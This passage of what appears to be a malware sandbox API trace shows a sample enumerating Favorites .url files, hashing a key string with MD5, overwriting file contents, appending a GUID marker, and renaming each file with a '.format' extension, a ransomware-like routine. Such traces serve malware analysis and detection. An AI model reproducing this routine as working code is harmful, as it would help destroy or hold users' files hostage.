lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.720] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.720] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.720] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.721] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.721] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.721] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.721] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.722] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.722] GetLastError () returned 0x0 [0067.722] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.722] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.722] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.722] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.722] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.722] CloseHandle (hObject=0x5c8) returned 1 [0067.723] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.format")) returned 1 [0067.724] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0067.724] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0067.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.724] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.725] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.746] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.747] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.748] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.748] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.748] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.748] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.748] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.749] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.749] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.749] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.749] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.749] GetLastError () returned 0x0 [0067.749] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.749] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.749] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.749] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.749] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.750] CloseHandle (hObject=0x5c8) returned 1 [0067.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.format")) returned 1 [0067.763] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0067.763] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0067.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.764] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.764] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.768] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.768] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.769] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.769] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.769] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.769] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.769] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.770] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.770] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.770] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.770] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.770] GetLastError () returned 0x0 [0067.770] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.770] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.770] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.770] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.770] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.770] CloseHandle (hObject=0x5c8) returned 1 [0067.771] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.format")) returned 1 [0067.773] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0067.773] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.773] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.773] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.773] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.774] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0067.774] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.774] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.774] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0067.774] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.774] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.774] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.774] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.774] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.774] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.774] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.774] PathFindFileNameW (pszPath="") returned="" [0067.774] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.774] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.775] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.775] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0067.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.775] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.775] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.776] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0067.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.777] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.777] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.780] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.780] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.781] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.781] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.781] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.781] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.781] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.781] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.781] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.781] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.782] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.782] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.782] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.782] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.782] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.783] GetLastError () returned 0x0 [0067.783] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.783] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.783] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.783] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x80, lpOverlapped=0x0) returned 1 [0067.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.783] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.783] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.783] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.783] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.784] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.784] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.784] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.784] CloseHandle (hObject=0x5c8) returned 1 [0067.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.785] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.785] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.785] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.format")) returned 1 [0067.785] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.785] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.787] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.787] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0067.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.787] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.787] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0067.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.788] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.788] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.791] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.791] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.792] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.792] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.792] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.793] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.793] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.793] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.794] CryptCreateHash (in: hProv=0x6ac1b0, 